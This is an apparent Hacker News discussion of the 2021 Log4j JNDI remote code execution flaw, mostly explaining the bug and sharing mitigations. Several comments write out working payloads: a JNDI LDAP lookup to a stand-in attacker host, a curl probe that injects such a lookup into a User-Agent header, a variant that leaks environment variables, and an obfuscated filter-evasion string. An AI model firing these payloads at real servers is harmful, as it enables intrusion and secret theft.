The twitter thread says something about serialized objects containing malicious code. I didn't realize Java had that. Can someone explain in more detail?

▲ usrusr on Dec 10, 2021 | parent | next [–]

Java deserialization won't directly pull executable code from incoming bytes, but without deliberate countermeasures the deserialization runtime will happily try to create new instances of any class visible in the classpath configuration of the VM if the incoming bytes ask nicely. And many of the classes that might be present come with static code that will run once before the first class instance is created, setting up global state and the like. Others come with custom deserialization routines and when both appear together and interact with each other you get a surprisingly big space for possibile vulnerabilities to hide in. If memory serves me right, in the early days of Java deserializion vulnerabilities they usually involved some native code that was started by that mechanism. There used to be quite a lot of that, inherited from the days when Sun tried to create a multimedia powerhouse running on the inefficient JVM of the day

▲ throwaway81523 on Dec 10, 2021 | root | parent | next [–]

Ah thanks, that sounds like pickling in Python. It took forever for them to understand that unpickling untrested data was a security hole.

▲ formerly_proven on Dec 10, 2021 | root | parent | next [–]

2.2 tried to create a "safe for unpickling" way (https://docs.python.org/2.2/lib/pickle-sec.html) which unsurprisingly failed (https://www.python.org/dev/peps/pep-0307/ 2003)

> This feature gives a false sense of security: nobody has ever done the necessary, extensive, code audit to prove that unpickling untrusted pickles cannot invoke unwanted code, and in fact bugs in the Python 2.2 pickle.py module make it easy to circumvent these security measures.

> We firmly believe that, on the Internet, it is better to know that you are using an insecure protocol than to trust a protocol to be secure whose implementation hasn't been thoroughly checked.

A few years ago, I think around 2016, there was a series of RCEs in many Java apps because they used the Java equivalent of pickle with the Java equivalent of "make pickle safe", which did not work.

▲ immibis on Dec 10, 2021 | root | parent | next [–]

Reminds me of the Java Applet exploit where you could combine system classes with overlapping method signatures in unexpected ways, to get the system to do untrusted things by itself without any user code. I bet __safe_for_unpickling__ has that problem.

In the Java case, it was something like: create a listbox on the screen, which contains a map entry, whose value is a java.beans.Expression object which calls a getter on some object which has side effects that allow an RCE. Because only system code is involved in the chain, Java's stack-based security model determined that this was some internal runtime code making the call, and allowed it. It doesn't make sense to put a security check on any individual step, until the final one which determined it was running in a system context, yet the overall effect was something that should not have been allowed was allowed.

The listbox innocently called toString() and what happened was RCE.

I bet in Python you could use the same concept and construct an object graph where some innocent method call ends up being an RCE. Find an object whose str() calls self.foo.toString(), find an object whose toString() calls self.bar.blah(), find an object whose blah() calls self.asdf.meh(), find an object whose meh() calls os.system(self.cmd). Now you deserialize this graph and RCE is triggered by somebody trying to log the graph.

▲ chii on Dec 10, 2021 | parent | prev | next [–]

Java has the ability to serialize a class, send it over the network, and deserialize it back into a usable class. This mechanism is quite flexible, and allows the class itself to control some aspect of it's own serialization (such as code to run post-serialization, as a form of initialiation, somewhat similar to a constructor).

So if you load a class from an unknown source (such as this exploit's example), you are basically allowing RCE.

▲ immibis on Dec 10, 2021 | root | parent | next [–]

Note that the class itself is not serialized. Only the instance of the class is serialized. The class itself is looked up by name in the running program. This is still a footgun because you can try to deserialize classes that weren't meant to be deserialized in this context, but it's a way smaller footgun than being able to just load arbitrary code into the program.

▲ tcoff91 on Dec 10, 2021 | root | parent | prev | next [–]

This is such a massive footgun wow...

▲ chii on Dec 10, 2021 | root | parent | next [–]

it's not any different from eval() tbh - the onus is on the programmer to not trust input. The problem is when libraries do unexpected things, like the log4j RCE.

▲ freeqaz on Dec 10, 2021 | parent | prev | next [–]

There are some more details in this post we wrote up earlier[0]. Feel free to throw me any questions (I'm a security engineer).

0: https://www.lunasec.io/docs/blog/log4j-zero-day/

▲ nostoc on Dec 10, 2021 | parent | prev | next [–]

Java and deserialization vulnerabilities are one of the most iconic duos of infosec.

▲ simon04 on Dec 10, 2021 | prev | next [–]

To enable the mitigation for Apache Tomcat, set `JAVA_OPTS=-Dlog4j2.formatMsgNoLookups=true`

For instance, when starting with systemd, add `Environment=JAVA_OPTS=-Dlog4j2.formatMsgNoLookups=true` to your service file.

You should find `Command line argument: -Dlog4j2.formatMsgNoLookups=true` in catalina.out

▲ philipwhiuk on Dec 11, 2021 | parent | next [–]

Assuming you're running Log4J > 2.10.0 otherwise this won't be picked up and used.

▲ trulyrandom on Dec 10, 2021 | prev | next [–]

Cloudflare has published an article with clear mitigation options: https://blog.cloudflare.com/cve-2021-44228-log4j-rce-0-day-m...

▲ prdonahue on Dec 10, 2021 | parent | next [–]

Given the severity, we've also rolled this out to our Free plan customers, who don't otherwise have access to the WAF.

▲ philipwhiuk on Dec 11, 2021 | root | parent | next [–]

Do you look and block for evasion attempts like:

${j${lower:n}${lower:d}i...}

?

▲ fomine3 on Dec 10, 2021 | prev | next [–]

It's horrible that the vuln is fixed in open PR, never assigned CVE, and never released fixed version unless 0day shown in wild.

▲ 88joshgree on Dec 11, 2021 | parent | next [–]

Yeah and by someone who works for palantir no less - wonder how long they have been using it!?

▲ philipwhiuk on Dec 11, 2021 | parent | prev | next [–]

1. I believe that the zero day was released before the fix 2. There's no practical way to responsibly disclose a bug in a core library

▲ 88joshgree on Dec 11, 2021 | root | parent | next [–]

Nah there was a PR to mitigate in 2016 -> https://issues.apache.org/jira/browse/LOG4J2-2109

▲ phgr100x on Dec 11, 2021 | prev | next [–]

https://github.com/Glavo/log4j-patch

This is a non-intrusive patch that allows you to block this vulnerability without modifying the program code/updating the dependent. So you can use it to patch third-party programs, such as Minecraft.

The principle of the library is simple: It provides an empty JndiLookup to override the implementation in log4j. Log4j2 can handle this situation and safely disable JNDI lookup.

It is compatible with all versions of log4j2 (2.0~2.15).

▲ morpheuskafka on Dec 10, 2021 | prev | next [–]

Anyone know of a quick way to test this just to see if it will hit the URL without setting up any exploit server to actually send any code? I guess you'd need something that reports when the DNS name gets hit (like how a DNS leak test works) but I can't find any services to do that.

▲ jffry on Dec 10, 2021 | parent | next [–]

Looks like https://requestbin.net/dns is what you want, no?

I set one up (free, no account) and then when I did an nslookup or curl I saw the DNS hits coming in

▲ philh on Dec 10, 2021 | root | parent | next [–]

I don't really know what's going on here, so to clarify... it gives "simple checking example"

```
nslookup mydatahere.a54c4d391bad1b48ebc3.d.requestbin.net
```

but when I run that in my terminal I get the response

```
;; Got SERVFAIL reply from 83.146.21.6, trying next server
Server:  212.158.248.6
Address: 212.158.248.6#53

** server can't find mydatahere.a54c4d391bad1b48ebc3.d.requestbin.net: SERVFAIL
```

And nothing shows up in "received data" on the website.

Is that expected? Should I be running the dnsbinclient.py they provide? (I don't have the websocket module installed right now.) I did run `curl a54c4d391bad1b48ebc3.d.requestbin.net` before the nslookup, could that have made a difference here?

▲ jffry on Dec 10, 2021 | root | parent | next [–]

I'm not Requestbin's creator so I don't know. A simple nslookup or curl does work for me, with my system's DNS servers set to Cloudflare (1.1.1.1) or Google (8.8.8.8)

It looks like Vodafone (I assume this is your ISP) DNS servers aren't properly resolving the name for some reason. You could try bypassing it with dig, and directly ask a different DNS server to resolve it:

```
dig @1.1.1.1 A whatever.a54c4d391bad1b48ebc3.d.requestbin.net
```

▲ philh on Dec 10, 2021 | root | parent | next [–]

Thanks! Yeah, `dig` with no DNS gives me a SERVFAIL but `dig @1.1.1.1` works.

My ISP isn't Vodafone directly (I take it you think that because 83.146.21.6 belongs to them?) but might be a Vodafone reseller or something.

▲ jffry on Dec 10, 2021 | root | parent | next [–]

Yeah, I assumed since you were querying their DNS that you were a client, but makes sense it might be repackaged to other ISPs.

▲ philh on Dec 10, 2021 | root | parent | prev | next [–]

Like, my understanding from reading the thread was that I'd be able to run this and make requests to my servers setting my User-Agent, like

```
curl -A '${jndi:ldap:test.a54c4d391bad1b48ebc3.d.requestbin.net/abc}' https://my-service.net
```

and if they're vulnerable (at least through logging user-agents, I know there are other possible avenues) something would show up on the website. Is it more complicated than that?

▲ morpheuskafka on Dec 10, 2021 | root | parent | prev | next [–]

Yep, that's exactly what I was after. Tried a few google searches but it was just bringing up tools to test DNS propagation.

▲ fomine3 on Dec 10, 2021 | root | parent | prev | next [–]

TIL. this looks useful for various use.

▲ jamespwilliams on Dec 10, 2021 | parent | prev | next [–]

There is also http://www.dnslog.cn/

▲ niea_11 on Dec 10, 2021 | prev | next [–]

You can find the motivation for looking up jndi resources on the ticket that introduced the behaviour : https://issues.apache.org/jira/browse/LOG4J2-313

▲ philipwhiuk on Dec 11, 2021 | parent | next [–]

It's abhorrently thin given it introduced a remote vector.

▲ _wldu on Dec 10, 2021 | prev | next [–]

A LSM in enforcing mode (such as SELinux or Tomoyo) on a Linux system would prevent this. I configure and run tomoyo on all my Internet facing servers.

https://tomoyo.osdn.jp/

▲ twic on Dec 10, 2021 | parent | next [–]

Or just a firewall rule to block outgoing connections. Basic security precautions prevent this attack against servers.

▲ philipwhiuk on Dec 11, 2021 | root | parent | next [–]

It's amazingly common for SecOps to only consider inbound traffic.

▲ dariusj18 on Dec 10, 2021 | root | parent | prev | next [–]

A firewall rule to block DNS requests? Or one to block LDAP requests?

▲ twic on Dec 10, 2021 | root | parent | next [–]

LDAP.

▲ xyst on Dec 10, 2021 | prev | next [–]

This should be something that static code analyzers should pick up. If a dependency log4j dependency is <2.15, then it needs to be updated.

Just in time to ruin all of the reports project managers present to executives

▲ nick__m on Dec 10, 2021 | parent | next [–]

the vulnerable feature is not in log4j < 2.10

see https://github.com/apache/logging-log4j2/pull/608#issuecomme...

and you can just delete the affected class

▲ agwa on Dec 10, 2021 | root | parent | next [–]

> the vulnerable feature is not in log4j < 2.10

The comment you cited is referring to the option to disable the vulnerable feature, not the vulnerable feature itself.

Per https://github.com/apache/logging-log4j2/pull/608#issuecomme... even log4j 1.x is vulnerable.

▲ tmd83 on Dec 10, 2021 | root | parent | next [–]

Does that mean it's only vulnerable if JMSAppender is used otherwise not? Which should at least be a rarer use case.

▲ philipwhiuk on Dec 11, 2021 | root | parent | next [–]

Log4J 1 is only vulnerable for JMS Log4J 2 is vulnerable < 2.15.0. There are mitigations for > 2.10.0 and > 2.7.0

▲ cesarb on Dec 10, 2021 | root | parent | prev | next [–]

What I understood from that comment is that log4j 1.x is only vulnerable if you use the JMS Appender, which is probably not the most common configuration.

▲ nick__m on Dec 10, 2021 | root | parent | prev | next [–]

please ignore my comment on the version, agwa is right, update the library or delete the vulnerable class.

▲ jpomykala on Dec 10, 2021 | parent | prev | next [–]

"Also, we can't be sure about whole scenario. There're reports that indicates this RCE is still possible in 2.15+ RCs builds, so there is a chance there are also other gateways to achieve the same effect."

▲ 3boll on Dec 10, 2021 | parent | prev | next [–]

They will :)

▲ jsiepkes on Dec 10, 2021 | prev | next [–]

What adds to the confusion is that log4j2 rebrands itself as log4j. For example the Log4j2 artifact name is: `org.apache.logging.log4j:log4j-api` but it is actually Log4j2, not the original Log4j.

There is plenty of stuff out there that still uses Log4j 1.7, 1.8, etc. I assume this is all about Log4j2? And not about the original Log4j? Or is the original Log4j also affected?

▲ raesene9 on Dec 10, 2021 | parent | next [–]

There are indications (https://twitter.com/dlitchfield/status/1469199750452822017?s...) that log4j1 can be affected too...

▲ testplzignore on Dec 10, 2021 | root | parent | next [–]

That tweet has since been deleted. I haven't seen anything so far to indicate that log4j v1 is affected.

▲ Zardoz84 on Dec 10, 2021 | root | parent | next [–]

I can't reproduce with log4j 1.2.17

▲ philipwhiuk on Dec 11, 2021 | parent | prev | next [–]

The original Log4J is EOL and unmaintained. It's not affected by this but it does have other known vulns.

▲ kragen on Dec 10, 2021 | prev | next [–]

Unusual to find an RCE format string vuln in *Java*.

▲ koolba on Dec 10, 2021 | prev | next [–]

What's the actual bug and how would it be exploited?

▲ ievans on Dec 10, 2021 | parent | next [–]

If you are logging a user-controlled string, the user can provide a string that uses the JNDI URL schema like ${jndi:ldap://attackercontrolled.evil}. This will fetch deserialize an arbitrary Java object, which can cause arbitrary code execution (ACE). Here's an explanation of how deserializing leads to ACE: https://vickieli.dev/insecure%20deserialization/java-deseria...

Another commentators states that after Java 8u191 arbitrary code execution isn't possible but you can get pingback: https://news.ycombinator.com/item?id=29505027

▲ koolba on Dec 10, 2021 | root | parent | next [–]

Thank you for the explanation.

Mitigation seems to disable JNDI lookups. Wouldn't it make more sense to disable parsing altogether? In what possible situation does anyone want their logging library to run eval(…) on arbitrary inputs?!

▲ ddoubleU on Dec 10, 2021 | parent | prev | next [–]

Most current Minecraft server versions as well as clients are vulnerable (to RCE).

▲ sensiblesec on Dec 10, 2021 | prev | next [–]

EDIT: was not clear to me that Lumio has done only the writeup and not the original researchers finding the vulneraility mea culpa Lunasec, you're doing god's work!

Probably there isn't a broad agreement on ethical standards related to vulnerability disclosure but is it really still a net benefit when people disclose vulnerabilities without even them knowing the implications, that are clearly not patched, let alone giving users of the software time to do anything about it.

I feel we have gotten pretty far away from Tavis Ormandy working with Cloudflare to clean up the issue before anything is published.

Do I misunderstand something or this is clearly the type of issue that will be misused widely?

▲ acdha on Dec 10, 2021 | parent | next [–]

This was fixed and discussed on GitHub a week ago, so the cat was somewhat out of the proverbial bag.

I would not blame the people who wrote easier to understand blog posts which are going to need circulation to half of the enterprise IT code mills in the world, and note that dang changed this post's URL from the GitHub issue which is harder to understand.

▲ sensiblesec on Dec 10, 2021 | root | parent | next [–]

That's fair my misunderstanding in that case I'm questioning the people publishing the PoC

▲ Jolter on Dec 10, 2021 | parent | prev | next [–]

It'd be a bit hard to keep this exploit a secret once the patch was on Github.

▲ sensiblesec on Dec 10, 2021 | root | parent | next [–]

While that is definitely a good theoretical argument but in practice it seem to be the case that most of the (non 0day) vulnerabilities that get exploited in the wild are the ones that have solid public exploits, and it does also seem to have effect on how fast it starts to be exploited.

Even if that was true, knowing that a number of large projects are using this lib I'm not sure if it is unreasonable to ask to at least make an attempt to reach out so they can asses their exposure.

▲ fcsp on Dec 10, 2021 | prev | next [–]

> JNDI, a part of the Java Enterprise API set, providing uniform, industry-standard, seamless connectivity from the Java platform to enterprise information assets

From https://web.archive.org/web/20040908114732/http://www.sun.co...

I guess the marketing claims were true. I am completely mystified why this feature exists.

▲ a-dub on Dec 10, 2021 | prev | next [–]

so the question is, is it safe to log unsanitized inputs?

i've argued no given the complexity of today's logging pipelines and caught a lot of flak for it in the past... now i feel vindicated.

▲ peterkelly on Dec 10, 2021 | parent | next [–]

In a properly designed system, it should be perfectly safe. The problems come from how the log input is processed. If all you're doing is appending it to a file or adding a row to a database table, that should be no problem.

In the database case it's no different to adding any other record supplied by the user. In the case of a file, consideration has to be given about what assumptions other tools that process that file may make - e.g. if they assume one record per line, then the data should be escaped appropriately (simple approach is to use JSON string escaping, or just make the whole log entry a JSON object).

If the logging system is built by someone who thought it was a good idea to parse the string, use the result to make network requests, and then executing arbitrary code based on the data received over the network, then all bets are off.

▲ unilynx on Dec 10, 2021 | root | parent | next [–]

> If all you're doing is appending it to a file or adding a row to a database table, that should be no problem.

AND escaping any control/unicode* characters. encodeURIComponent() if that's the best you have, but log files need to be safe against unsuspecting sysadmins viewing/grepping/catting these. and even NT4 had a blue screen bug you could trigger by TYPE-ing the wrong file in a console..

(*) well if you need to, whitelist some safe ranges, but there's scary stuff in unicode eg with the bi-directional escapes or zero width spaces to make viewing/grepping hard.

▲ a-dub on Dec 10, 2021 | root | parent | prev | next [–]

imagine you're using stackdriver: how many thousands or millions of lines of code will those log messages touch before they're rendered in browser for someone with sysadmin privileges? how many libraries are just in the web front end they're using?

▲ a-dub on Dec 10, 2021 | root | parent | next [–]

moreover imagine debugging at any point in that pipeline. i've seen approaches where it's just sanitized at render... what happens when a dev dumps the database, hits it with a cli tool or peeks a queue?

▲ dylan604 on Dec 10, 2021 | parent | prev | next [–]

Why would you *ever* trust user provided input? Like seriously, ever?

I don't trust my own input. I tend to copy&paste, and I've messed up from pasting something that was previously in the clipboard because I didn't actually hit the right keyboard shortcut when I was copying the data I thought I was. I wasn't even attempting to be malicious, but I accidentally tried a SQL Inject attack on myself because of it.

DON'T EVER TRUST USER PROVIDED INPUT!!! AHHHHH!

▲ lvh on Dec 10, 2021 | root | parent | next [–]

Eh. I think it's pretty reasonable that people assume their logging library doesn't have random RCE, and I think it's pretty reasonable people aren't going to be able to filter every parameter based on Log4J having a relatively obscure bug.

▲ a-dub on Dec 10, 2021 | root | parent | next [–]

think about the complexity involved in a modern backend. those log messages are flowing through logging libraries and a local syslog at an absolute minimum. more exotic setups involve consolidators, indexing/searching, user interfaces that may be controlled by any number of operators. moreover, those who use these tools typically have the keys to the kingdom for their respective environments.

▲ lvh on Dec 10, 2021 | root | parent | next [–]

Right! What would filtering even look like? This seems like an unreasonable burden on the developer.

▲ dsrw on Dec 10, 2021 | root | parent | prev | next [–]

I agree, but certain operations need to safely accept untrusted input if I'm going to handle input at all. Running a regex on user input doesn't mean I trust the input. It means I trust my regex engine. I should be able to trust my logger the same way.

▲ dylan604 on Dec 10, 2021 | root | parent | next [–]

if your logger is running an eval, you shouldn't trust it one bit

▲ immibis on Dec 10, 2021 | root | parent | prev | next [–]

The issue is, what counts as "trust"? Logging input isn't trusting it. Or at least it's not supposed to be.

▲ yashap on Dec 10, 2021 | parent | prev | next [–]

Beyond that, arbitrary string from users tend to be things you shouldn’t log for privacy reasons, either.

▲ _xnmw on Dec 13, 2021 | prev | next [–]

Even a logging library is insecure. And some people believe in irreversible "smart contracts" for finance.

▲ dumdumdumdum on Dec 10, 2021 | prev | next [–]

https://github.com/search?o=desc&q=formatMsgNoLookups&s=inde... if you're curious who's patching what in the opensource (github) world.

▲ oever on Dec 11, 2021 | parent | next [–]

That page requires a login.

▲ nijave on Dec 10, 2021 | prev | next [–]

Isn't it generally considered bad practice to log user controlled data (without some form of sanitization)? I think static analyzers tend to find these since they're a type of injection attack (an attacker could insert fake log lines or otherwise interfere with the log contents)

▲ skim_milk on Dec 10, 2021 | parent | next [–]

Anyone remember printf exploits? Feels strange to still be happening in 2021. I remember accidentally finding a printf exploit in an online Nintendo DS game when I was a kid, not that I knew what I was doing but it was fun to have my name be a bunch of constantly changing random numbers using %e in my online name. Sounds like the minecraft kids are having a bunch of fun with this one now :)

▲ nvarsj on Dec 10, 2021 | root | parent | next [–]

Yeah! sudo had a pretty good one, anyone could gain root access via it, back in 2012 [1].

I love the irony here though - given how people using Java tend to think its unexploitable compared to C/C++ code. This is arguably way worse than a format string exploit. Even user sanitized data gives you full RCE. And via url headers/strings. This feels like a 1990s web era exploit, it's pretty insane.

1: https://www.sudo.ws/security/advisories/sudo_debug/

▲ xyzzy123 on Dec 10, 2021 | parent | prev | next [–]

Yes, it's like a format string bug in C in that sense.

Most people don't take "log injection" that seriously as a bug class in Java. There are usually no consequences for ignoring it, so it's common. The RCE adds a lot of flavour to an otherwise bland bug.

▲ xyzzy123 on Dec 10, 2021 | root | parent | next [–]

NOTE: I WAS WRONG, AS DISCUSSED UPTHREAD. IT IS EXPLOITABLE EVEN IF YOU USE FORMAT STRINGS CORRECTLY.

▲ immibis on Dec 10, 2021 | parent | prev | next [–]

No... not really. Actually the bad data is probably the data you most want to log. Kinda the point of logging. You do expect it to not screw up the logging system when bad data is logged. You expect to be able to log any random data (even if the log file formatting may get confusing in case of maliciously formatted data)

▲ pqyzwbq on Dec 10, 2021 | prev | next [–]

Do anyone know if I depends on the following 2: - org.apache.logging.log4j:log4j-api - org.apache.logging.log4j:log4j-to-slf4j

But without dependency on - org.apache.logging.log4j:log4j-core

in this situation, is this safe from this RCE? Thanks.

Edit, This may affect both log4j 2.x and log4j 1.x (see comments bellow, thanks.)

▲ agwa on Dec 10, 2021 | parent | next [–]

> By the way. This only affect log4j 2.x (https://github.com/apache/logging-log4j2). the log4j 1.x (https://github.com/apache/log4j) is not affected.

That's not what https://github.com/apache/logging-log4j2/pull/608#issuecomme... says

▲ pqyzwbq on Dec 10, 2021 | root | parent | next [–]

OK, thanks, didn't notice this when I read it.

▲ pqyzwbq on Dec 10, 2021 | parent | prev | next [–]

Noticed this is answered in: https://github.com/apache/logging-log4j2/pull/608#issuecomme...

``` I believe that applications that use log4j-api with log4j-to-slf4j, without using log4j-core, are not impacted by this vulnerability. (Because the lookup and JNDI implementations are in log4j-core.)
```

▲ aaronbwebber on Dec 10, 2021 | prev | next [–]

There are comments suggesting that this was reported the Apache some time ago, but a CVE wasn't assigned? Getting a CVE assigned, even with hardly any details at all ("get ready to upgrade log4j") could have really helped people here.

▲ brasetvik on Dec 10, 2021 | prev | next [–]

Are there any mitigations in recent JVMs?

I tried reproducing this, and got the POC to hit the LDAP server, but it wouldn't load the test payload.

See also:

- https://github.com/tangxiaofeng7/apache-log4j-poc

- https://github.com/mbechler/marshalsec

- https://github.com/veracode-research/rogue-jndi

Minecraft servers were being actively exploited according to various tweets.

▲ Fabricio20 on Dec 10, 2021 | parent | next [–]

Yes, more specifically after Java 8u191 you need to flag the client with: -Dcom.sun.jndi.ldap.object.trustURLCodebase=true -Dcom.sun.jndi.rmi.object.trustURLCodebase=true

While RCE is not possible without these flags, you will still get pingback, in minecraft's example, allowing you to get the IP of everyone connected.

▲ znep on Dec 10, 2021 | root | parent | next [–]

While the specific exploit may not be possible in 8u191 and later, I am not convinced they are safe from all RCEs using this vulnerability. It does make it harder to exploit, and hit or miss depending on what is available in the classpath.

See https://www.veracode.com/blog/research/exploiting-jndi-injec...

▲ brasetvik on Dec 10, 2021 | root | parent | prev | next [–]

That's good clarification, thanks.

I got the POC to RCE with `-Dcom.sun.jndi.ldap.object.trustURLCodebase=true` seeming sufficient.

While still not great, I'd expect that to meaningfully reduce the severity for most, as that seems a pretty … odd option to enable.

▲ Fabricio20 on Dec 10, 2021 | root | parent | next [–]

If you check the argument, one is for RMI and the other is for LDAP, if your PoC uses LDAP then you need the LDAP one, else RMI, etc.. But yes, most people probably don't have this enabled, so the only concern is a pingback in modern java.

▲ ryan_lane on Dec 10, 2021 | root | parent | next [–]

Pingback can also include variable contents, so it's not just "they can get the IPs", but also potentially secrets and such.

▲ brasetvik on Dec 10, 2021 | root | parent | next [–]

Yeah, `${jndi:ldap://127.0.0.1:1389/o=${env:PATH}}`

▲ garydgregory on Dec 10, 2021 | root | parent | prev | next [–]

Oracle says this is in 8u121, not 8u191: https://www.oracle.com/java/technologies/javase/8u121-relnot...

▲ cjcampbell on Dec 10, 2021 | root | parent | next [–]

8u121 seems to address the RMI vector but not LDAP (per https://www.veracode.com/blog/research/exploiting-jndi-injec...).

▲ twic on Dec 10, 2021 | root | parent | next [–]

The trustURLCodebase check was added to the LDAP provider in 2009:

https://github.com/openjdk/jdk8u/commit/006e84fc77a582552e71...

This change is included in tag jdk8-b01, which was the first release build of Java 8.

I don't think this exploit as described actually works against a default-configured JVM released any time in the last decade. Is there actually an executable PoC which shows otherwise?

Now, it's true there are ways to exploit deserialisation without loading code. You need to find a class in the classpath that does something sketchy when deserialised. There has been a lot of work to clean up such things in recent years, but it's possible some still exist. Again, i would like to see a PoC.

▲ twic on Dec 10, 2021 | root | parent | next [–]

Or maybe not:

> Apparently there had been a prior patch (CVE-2009-1094) for LDAP, but that was completely ineffective for the factory codebase. Therefore, LDAP names would still allow direct remote code execution for some time after the RMI patch. That “oversight” was only addressed later as CVE-2018-3149 in Java 8u191 (see https://bugzilla.redhat.com/show_bug.cgi?id=1639834).

https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Inj...

▲ nyxmare on Dec 10, 2021 | root | parent | prev | next [–]

so, thats mean its impossible to get RCE without those flag?

▲ cjcampbell on Dec 11, 2021 | root | parent | next [–]

It is still possible to RCE, but you won't be able to achieve it using the proof of concept code. See the article for resources that describe alternative methods to exploit.

▲ kosma on Dec 10, 2021 | parent | prev | next [–]

I find it the most bizarre that I had my Minecraft server patched before the news even hit HN.

▲ mcintyre1994 on Dec 10, 2021 | prev | next [–]

Does anyone know the details of how this got discovered and released? It definitely doesn't sound like a normal responsible disclosure process if it was discovered a few hours before this post. Was it spotted being abused?

▲ dontchooseanick on Dec 11, 2021 | parent | next [–]

See the reddit netsec thread [0] . There is evidence of attackers having the exploit since April 2021, thus the disclosure.

> Was it spotted being abused.

No, not at 2021-12-10 AFAIK, just spotted being spread.

[0] https://reddit.com/r/netsec/comments/rcwws9/rce_0day_exploit...

▲ jcims on Dec 10, 2021 | prev | next [–]

Does anyone in here know what url schemes are valid for JNDI and/or this bug in particular? The example is LDAP but is that the only one JNDI supports? Would HTTPS or even data urls work?

▲ adambatkin on Dec 15, 2021 | parent | next [–]

Out of the box (at least on my text 1.8 JVM): corbaname, dns, iiop, iiopname, ldap, ldaps, rmi

For full details of how this works, use a vulnerable log4j version, log a simple (bad) lookup, and step through with a debugger for a while.

Sources:

- https://github.com/JetBrains/jdk8u_jdk/blob/master/src/share/classes/com/sun/naming/internal/ResourceManager.java#L422
- https://github.com/JetBrains/jdk8u_jdk/blob/master/src/share/classes/javax/naming/spi/NamingManager.java#L558
- https://github.com/JetBrains/jdk8u_jdk/tree/master/src/share/classes/com/sun/jndi/url

By default the class will be named "com.sun.jndi.url.<scheme>.<scheme>URLContextFactory"

So for example, if your schema, the class will be "com.sun.jndi.url.ldap.ldapURLContextFactory".

But also note that many of these schemes can return referrals/redirects to other protocols.

▲ immibis on Dec 10, 2021 | parent | prev | next [–]

https://docs.oracle.com/javase/tutorial/jndi/overview/index....

says that LDAP, DNS, RMI Registry, and CORBA Name Service are included in Java, and others may be discovered at load time (but I bet they aren't because that's very niche).

▲ jcims on Dec 10, 2021 | root | parent | next [–]

Thank you!!! I have absolutely no idea why i couldn't find that reference. This is extremely helpful.

DNS could be gnarly if serialized objects can be stored in txt records.

▲ mooreds on Dec 10, 2021 | prev | next [–]

We had enough folks reach out to us that we put together a blog post about this CVE: https://fusionauth.io/blog/2021/12/10/log4j-fusionauth/

You can also read the full CVE description here: https://nvd.nist.gov/vuln/detail/CVE-2021-44228

▲ altdataseller on Dec 11, 2021 | prev | next [–]

Lots of things missing from everyone telling how to mitigate this:

1) how do I check what version of log4j I am using?

2) how do I upgrade my log4j version 2 to the latest? I download the new zip, then what?

▲ albertinix on Dec 10, 2021 | prev | next [–]

(re: Log4J versions <= 2.14.1)

Does anyone know if removing the `JndiLookup` class is enough?

On the Apache Log4j2 page (https://logging.apache.org/log4j/2.x/) it's stated to:

> Remove the JndiLookup *and JndiManager* classes from the log4j-core jar.

(emphasis mine)

However, the only place where I've seen that being stated is on that page.

So - is it required to remove the `JndiManager` class as well?

▲ x3n0ph3n3 on Dec 10, 2021 | prev | next [–]

It's insane to me that this has already fallen off the front page -- this may be the biggest security vulnerability I've seen in my 12+ year career.

▲ iamrohitbanga on Dec 10, 2021 | prev | next [–]

I wonder if there are other templating engines out there that have similar plugins that load text from remote source, and could have similar bugs.

▲ AtNightWeCode on Dec 10, 2021 | prev | next [–]

Have not used Log4J for ages but is this the common way to do it? To concatenate parameters into the log messages? In most logging tools where templates with parameters is used you are supposed to pass input as parameters into the templates, not change the templates?. No?

Edit: Found the answer to my own Q. "Do not use String concatenation. Use parameterized message..."

▲ sandmandf137731 on Dec 12, 2021 | prev | next [–]

All of us are scrambling to upgrade to 2. This OSS tool can help prioritise attack paths using runtime context. We had a potential exposure due to Elasticsearch, found out and patched.
https://github.com/deepfence/ThreatMapper

▲ decremental on Dec 10, 2021 | prev | next [–]

Minecraft 1.18.1 was released to patch this exploit. They don't guarantee that < 1.17 isn't vulnerable still.

▲ fnord77 on Dec 10, 2021 | prev | next [–]

always always always keep use of 3rd party java libraries to a minimum. While not necessarily useful in this case, I often see answers on stackoverflow saying "oh just use this apache commons or guava library" when there's a perfectly sound and easy way of just doing it in java. Makes me want to scream

▲ elric on Dec 10, 2021 | parent | next [–]

This doesn't seem like very good advice when it comes to logging frameworks. You really don't want to roll your own.

▲ radius314 on Dec 16, 2021 | prev | next [–]

AWS has released managed WAFv2 rulesets. Here is a Terraform snippet of how to implement: https://gist.github.com/dgershman/712eabe8664fa4573f6273b639...

▲ dkozyatinskiy on Dec 19, 2021 | prev | next [–]

Here is an interactive explanation of the issue: https://application.security/free-application-security-train...

▲ sandmandf137731 on Dec 12, 2021 | prev | next [–]

Hope this helps someone. How we visualized and fixed runtime exposure due to vulnerable Elasticsearch, using ThreatMapper

https://github.com/deepfence/ThreatMapper

▲ sandmandf137731 on Dec 12, 2021 | prev | next [–]

How we fixed exposure due to vulnerable Elasticsearch using ThreatMapper

https://github.com/deepfence/ThreatMapper

▲ alblue on Dec 10, 2021 | prev | next [–]

Where's the CVE?

▲ simon04 on Dec 10, 2021 | parent | next [–]

CVE-2021-44228 – https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-4422...

Also linked from https://logging.apache.org/log4j/2.x/security.html

▲ plasma on Dec 10, 2021 | parent | prev | next [–]

I see a GitHub Advisory being made at https://github.com/advisories/GHSA-jfh8-c2jp-5v3q

▲ garydgregory on Dec 10, 2021 | root | parent | next [–]

The CVE is being crafted as I write this...

▲ fomine3 on Dec 10, 2021 | root | parent | next [–]

It seems that CVE had already created at 11/26. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-4422...

▲ alblue on Dec 10, 2021 | root | parent | prev | next [–]

Is it this one?

https://nvd.nist.gov/vuln/detail/CVE-2021-44228

▲ debug-desperado on Dec 11, 2021 | prev | next [–]

Thank goodness Spring Boot has stuck with Logback for its default logging implementation.

While the original Log4j had huge uptake a decade ago, its successor is nowhere near as ubiquitous.

▲ dokem on Dec 10, 2021 | prev | next [–]

I haven't read into the specifics of this issue but doesn't a RCE vulnerability in a Java library really rest on a RCE vulnerability in Java/JRE itself?

▲ the8472 on Dec 10, 2021 | parent | next [–]

Not necessarily, java has explicit mechanisms for dynamic code loading (classloaders) and if those are reachable from unsanitized user input then you have what amounts to a very indirect and enterprise-grade eval().

▲ cplusplusfellow on Dec 10, 2021 | parent | prev | next [–]

In this case the library is using JNDI to go get a class from an LDAP server to execute.

▲ abhishekjha on Dec 10, 2021 | root | parent | next [–]

But where does it get used? I mean the loading of a remote class on an LDAP server. Was this an opt-in or is it like properly baked in?

▲ cplusplusfellow on Dec 12, 2021 | root | parent | next [–]

